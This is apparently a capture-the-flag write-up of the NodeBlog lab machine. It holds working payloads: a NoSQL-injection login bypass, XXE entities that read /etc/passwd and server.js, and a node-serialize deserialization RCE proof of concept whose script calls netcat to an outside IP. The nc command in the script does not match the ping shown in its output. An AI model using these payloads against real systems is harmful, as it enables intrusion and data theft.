Reconnaissance
First, I added the new host to my known ones:
sudo echo "10.10.11.139 nodeblog.htb" | sudo tee -a /etc/hosts
Then, I performed a Nmap scan:
nmap -sC -T4 -p- nodeblog.htb > sC.txt
[redacted]
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
5000/tcp open upnp
So I checked the port 5000
:
It seems to be a basic Node app. Inspecting the source code there are two hidden endpoints: /login
and /articles
:
/login
:
/articles
:
Weaponization
Iโll try to test for NoSQLi as explained in Hacktricks.
Exploitation
I decided to capture the petition and test for NoSQLi:
Iโll inspect which verbs the website accepts by using OPTIONS
:
When testing a non-existent username I get the error โInvalid usernameโ:
Then testing for the โadminโ user I noted a different message:
If I try the body to JSON I see that the response has the same message โInvalid Passwordโ:
So if I test with the following payload I can successfully bypass the login:
{
"user": "admin",
"password": {"$ne": "admin"}
}
So now Iโll send the petition to the Intercept and get access to the admin panel:
Exploitation x2
I noted an โUploadโ button, so Iโll inspect it and try to upload a web shell:
It only allows to upload xml files or this error is prompted:
Inspecting the source code of the error I get an example of the file structure it accepts:
So Iโll upload the example to test the functionality:
<post>
<title>Example Post</title>
<description>Example Description</description>
<markdown>Example Markdown</markdown>
</post>
Then it automatically gets the content of it:
So now Iโll craft a malicious xml file with the following content:
<!DOCTYPE item [ <!ELEMENT item ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<post>
<title>Example Post</title>
<description>Example Description</description>
<markdown>&xxe;</markdown>
</post>
Got an XXE!
So now I can try to read the source code. To do do, first I need to know the location of it by inputting a bad body on the /login
request:
Checking the output, we can see that the server is located inside /opt/blog
, so we can try to leak the typicall configuration file server.js
:
<!DOCTYPE item [ <!ELEMENT item ANY >
<!ENTITY xxe SYSTEM "file:///opt/blog/server.js" >]>
<post>
<title>Example Post</title>
<description>Example Description</description>
<markdown>&xxe;</markdown>
</post>
Deserialization
- The content of
server.js
:
const express = require('express')
const mongoose = require('mongoose')
const Article = require('./models/article')
const articleRouter = require('./routes/articles')
const loginRouter = require('./routes/login')
const serialize = require('node-serialize')
const methodOverride = require('method-override')
const fileUpload = require('express-fileupload')
const cookieParser = require('cookie-parser');
const crypto = require('crypto')
const cookie_secret = "UHC-SecretCookie"
//var session = require('express-session');
const app = express()
mongoose.connect('mongodb://localhost/blog')
app.set('view engine', 'ejs')
app.use(express.urlencoded({ extended: false }))
app.use(methodOverride('_method'))
app.use(fileUpload())
app.use(express.json());
app.use(cookieParser());
//app.use(session({secret: "UHC-SecretKey-123"}));
function authenticated(c) {
if (typeof c == 'undefined')
return false
c = serialize.unserialize(c)
if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex
')) ){
return true
} else {
return false
}
}
app.get('/', async (req, res) => {
const articles = await Article.find().sort({
createdAt: 'desc'
})
res.render('articles/index', { articles: articles, ip: req.socket.remoteAddress, a
uthenticated: authenticated(req.cookies.auth) })
})
app.use('/articles', articleRouter)
app.use('/login', loginRouter)
app.listen(5000)
It seems that node-serialize
library is being used, so I checked the cookie of the admin
user and took note of their cookie:
%7B%22user%22%3A%22admin%22%2C%22sign%22%3A%2223e112072945418601deb47d9a6c7de8%22%7D
# URL Decoded
{"user":"admin","sign":"23e112072945418601deb47d9a6c7de8"}
If I decode it seems to be a json containing the user and its hashed passwd.
Weaponization x2
I searched โnodejs deserialization exploitโ and found OPSECX.
Exploitation x3
First I created a serialize.js
to to create a PoC for the output of the id
command:
var y = {
rce : function(){
require('child_process').exec('nc 10.10.14.36 777', function(error, stdout,
stderr) { console.log(stdout) });
},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));
- NOTE: I needed to install
node-serialize
library withnpm install node-serialize
The result of executing it is the following (node serialize.js
):
{"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ping -c 1 10.10.14.36',
function(error, stdout, stderr) { console.log(stdout) });\n }()"}
# URL Encoded
%7B%22rce%22%3A%22%5F%24%24ND%5FFUNC%24%24%5Ffunction%28%29%7Brequire%28%27child%5Fprocess%27%29%2Eexec%28%27ping%20%2Dc%201%2010%2E10%2E14%2E36%27%2C%20function%28error%2C%20stdout%2C%20stderr%29%7Bconsole%2Elog%28stdout%29%7D%29%3B%7D%28%29%22%7D
IMPORTANT: the machine doesn't actively work, so I won't continue this writeup, but the initial steps are valuable for me.